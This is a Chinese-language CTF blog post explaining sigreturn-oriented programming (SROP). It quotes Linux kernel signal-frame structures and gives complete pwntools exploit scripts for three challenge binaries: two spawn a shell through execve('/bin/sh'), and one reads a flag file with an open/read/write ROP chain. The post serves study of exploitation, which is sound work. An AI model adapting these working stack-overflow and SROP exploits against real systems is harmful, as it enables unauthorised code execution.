boxmoe_header_banner_img

all in pwn!

文章导读

SROP


avatar
admin 2026年8月10日 51

0x1 Signal信号机制

SROP主要源于Signal信号机制,例如当出现SIGTRAP信号(也就是int3, 断点指令)时,内核会调用setup_rt_frame函数来保存现场(也就是寄存器等相关的信息),以便于处理完成后,程序可以继续执行。

简单说,setup_rt_frame会往栈上写一个frame。内核中的结构体定义以及结构图如下:

// SigreturnFrame
struct rt_sigframe {
    char __user *pretcode;					    
    struct ucontext uc;
    struct siginfo info;
};

// ucontext
struct ucontext {
	unsigned long uc_flags;
	struct ucontext *uc_link;
	stack_t uc_stack;               // ss_sp/flags/size
	struct sigcontext uc_mcontext
	sigset_t uc_sigmask;             
};

// sigcontext
struct sigcontext {
	__u64 r8, r9, r10, r11, r12, r13, r14, r15;
	__u64 rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp, rip;
	__u64 eflags;
	__u16 cs, gs, fs, ss;
	__u8  err, trapno, oldmask, cr2;
	__u64 fpstate;
	__u64 reserved1[8];
};

struct rt_sigframe的pretcode指向的是一段trampoline,

__kernel_rt_sigreturn:
	movq	$__NR_rt_sigreturn, %rax   // mov rax, 15
	syscall                          // syscall

用于执行rt_sigreturn系统调用,恢复保存在栈内的frame,此时用户程序可以正常执行。

0x2 SROP原理

SROP就是利用栈上保存的frame可以用户态修改,伪造恶意frame,通过rt_sigreturn系统调用恢复frame,来控制寄存器的值。

本质上是栈上的数据,可以自己手搓,但是pwntools提供了对应的类SigreturnFrame。但是需要注意的是,pwntools的类不含pretcode,不含siginfo,设置&fpstate=0跳过FPU恢复,reserved1[8]压缩成8B的_reserved,err/trapno/oldmask/cr2从4x1B拉到4x8B,sigmask设置为8字节。本质上pwntools只是将restore_sigcontext的内容设置为正确的偏移和值即可,精确对齐的只有偏移 40~192 的寄存器区 + 偏移 224 的 fpstate 指针。

static bool restore_sigcontext(struct pt_regs *regs,
			       struct sigcontext __user *usc,
			       unsigned long uc_flags)
{
	struct sigcontext sc;

	current->restart_block.fn = do_no_restart_syscall;
	// &sc sigcontext
	if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
		return false;

#ifdef CONFIG_X86_32
	loadsegment(gs, sc.gs);
	regs->fs = sc.fs;
	regs->es = sc.es;
	regs->ds = sc.ds;
#endif /* CONFIG_X86_32 */

	regs->bx = sc.bx;
	regs->cx = sc.cx;
	regs->dx = sc.dx;
	regs->si = sc.si;
	regs->di = sc.di;
	regs->bp = sc.bp;
	regs->ax = sc.ax;
	regs->sp = sc.sp;
	regs->ip = sc.ip;

#ifdef CONFIG_X86_64

	regs->r8  = sc.r8;
	regs->r9  = sc.r9;
	regs->r10 = sc.r10;
	regs->r11 = sc.r11;
	regs->r12 = sc.r12;
	regs->r13 = sc.r13;
	regs->r14 = sc.r14;
	regs->r15 = sc.r15;
#endif /* CONFIG_X86_64 */

	regs->cs = sc.cs | 0x03;
	regs->ss = sc.ss | 0x03;

	regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);

	regs->orig_ax = -1;

#ifdef CONFIG_X86_64

	if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) &&
		     user_64bit_mode(regs)))
		force_valid_ss(regs);
#endif

	// fpstate = 0 
	return fpu__restore_sig((void __user *)sc.fpstate,
				IS_ENABLED(CONFIG_X86_32));
}

0x3 实操

ciscn_2019_s_3

(.venv) ➜  s_3 checksec --file=ciscn_s_3
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols          FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols      No    0               0               ciscn_s_3

先进行简单的逆向分析:

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  v0 = sys_read(0, buf, 0x400u);
  return sys_write(1u, buf, 0x30u);
}

明显的栈溢出。

同时存在两个gadgets

__int64 gadgets() { return 15; }
__int64 sub_4004E2() { return 59; }

此时可以直接利用gadgets来完成利用。但是s_3是没有/bin/sh字符串的,所以需要在buf里面写一个/bin/sh\x00字符串。就需要定位buf的地址:

首先断点下在read的下面0x400503的位置上。

此时可以看到本质上,[rsp+buf]就是buf的地址,存入了rsi,所以rsi就是buf地址。

最后结尾的sys_write内,有一个栈上的地址:

计算一下偏移,就可以确定buf的地址,此时往buf写一个/bin/sh\x00,即可:

pwndbg> p/x 0x7ffda677d738-0x7ffda677d5e0
$2 = 0x158

此时只需要按照标准的SROP完成即可,

from pwn import *

elf = ELF("./ciscn_s_3")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
context(arch = elf.arch, os = elf.os, log_level = 'debug')
p = process([elf.path])

payload = flat([
    b"a"* 0x10,
    p64(elf.sym['vuln']),
])
p.send(payload)
stack_addr_for_binSh = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x168
info("buf addr: " + hex(stack_addr_for_binSh))
# gdb.attach(p, "b *0x400503\nc")

s = SigreturnFrame()
s.update(
    rax = 59,
    rdi = stack_addr_for_binSh,
    rsi = 0,
    rdx = 0,
    rip = next(elf.search(asm("syscall"))),
)

payload = flat([
    b"/bin/sh\x00",
    b"a"* 0x8,
    p64(next(elf.search(asm("mov rax, 15")))),
    p64(next(elf.search(asm("syscall")))),
    s
])
p.send(payload)
p.interactive()

rootersctf_2019_srop

signed __int64 sub_401000()
{
  signed __int64 v0; // rax
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  v0 = sys_write(1u, ::buf, 0x2Au);
  return sys_read(0, buf, 0x400u);
}

先打印buf内容,然后再往buf内读,读的时候栈溢出,且无外部函数,纯系统调用。

再read的下面下断点,也就是0x00401035,对应leave ret。运行发现,实际buf内有一串字符串,

.data:0000000000402000 48 65 79 2C 20 63 61 6E 20 69     buf db 'Hey, can i get some feedback for the CTF?',0Ah

所以需要手动泄露libc的地址。但是没有puts,write等函数,也无法泄露libc地址,所以SROP布栈。同时,ret指令也有限,需要借助多个指令滑动。

from pwn import *
elf = ELF("./rootersctf_2019_srop")
context(arch = elf.arch, os = elf.os)
context.log_level = "debug"
p = process([elf.path])

buf_addr = 0x402000
pop_rax_syscall = 0x401032
syscall_leave_ret = 0x401033

s = SigreturnFrame()
s.update(
    rax = 0,
    rdi = 0,
    rsi = buf_addr,
    rdx = 0x300,
    rbp = buf_addr + 0x20,
    rip = syscall_leave_ret,
)
payload = flat([
    b"a" * 0x88,
    p64(pop_rax_syscall),
    p64(15),
    s
])
p.sendafter(b"Hey, can i get some feedback for the CTF?", payload)

s = SigreturnFrame()
s.update(
    rax = 59,
    rdi = buf_addr,
    rsi = 0,
    rdx = 0,
    rip = syscall_leave_ret,
)
payload = flat(
    b"/bin/sh\x00",
)
payload = payload.ljust(0x28, b"\x00")
payload += flat([
    p64(pop_rax_syscall),
    p64(15),
    s
])
p.send(payload)
p.interactive()

V&N2020 babybabypwn

查看对应的保护:

(.venv) ➜  V&N2020 babybabypwn checksec --file=vn_pwn_babybabypwn_1    
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        No    02vn_pwn_babybabypwn_1

对应的核心函数反汇编:

unsigned __int64 sub_1347()
{
  _BYTE buf[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Welcome to v&n challange!");
  printf("Here is my gift: 0x%llx\n", &puts);
  printf("Please input magic message: ");
  read(0, buf, 0x100u);
  syscall(15);
  return __readfsqword(0x28u) ^ v2;
}

题目给出puts的地址,等价于给出了libc的基地址。read往缓冲区读0x100字节,调用syscall系统调用,对应的系统调用号是15,也就是sigreturn。所以buf内可以直接布置SigreturnFrame

由于系统调用禁止execve,所以orw即可

from pwn import *

elf = ELF("./vn_pwn_babybabypwn_1")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
context(arch = elf.arch, os = elf.os, log_level = "debug")
p = process([elf.path])

gl = lambda ins: p64(next(libc.search(asm(ins), executable=True)))

p.recvuntil(b"Here is my gift: ")
libc.address = int(p.recv(14), 16) - libc.sym['puts']
info("libc base: " + hex(libc.address))

buf = libc.bss()

# call read
s = SigreturnFrame()
s.update(
    rdi = 0,
    rsi = buf,
    rdx = 0x300,
    rsp = buf,
    rip = libc.sym['read']
)
payload = flat([s])
p.sendafter(b"Please input magic message: ", payload[8:])
sleep(1)
# fill read
flag_addr = buf + 0x100
payload = flat([
    # open
    gl("pop rdi; ret"),
    p64(flag_addr),
    gl("pop rsi; ret"),
    p64(0),
    p64(libc.sym['open']),
    # read
    gl("pop rdi; ret"),
    p64(3),
    gl("pop rsi; ret"),
    p64(buf),
    gl("pop rdx ; xor eax, eax ; ret;"),
    p64(0x200),
    p64(libc.sym['read']),
    # write
    gl("pop rdi; ret"),
    p64(1),
    gl("pop rsi; ret"),
    p64(buf),
    gl("pop rdx ; xor eax, eax ; ret"),
    p64(0x200),
    p64(libc.sym['write']),
])
payload = payload.ljust(0x100, b"\x00")
payload += b"./flag\x00"
p.send(payload)

p.interactive()



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码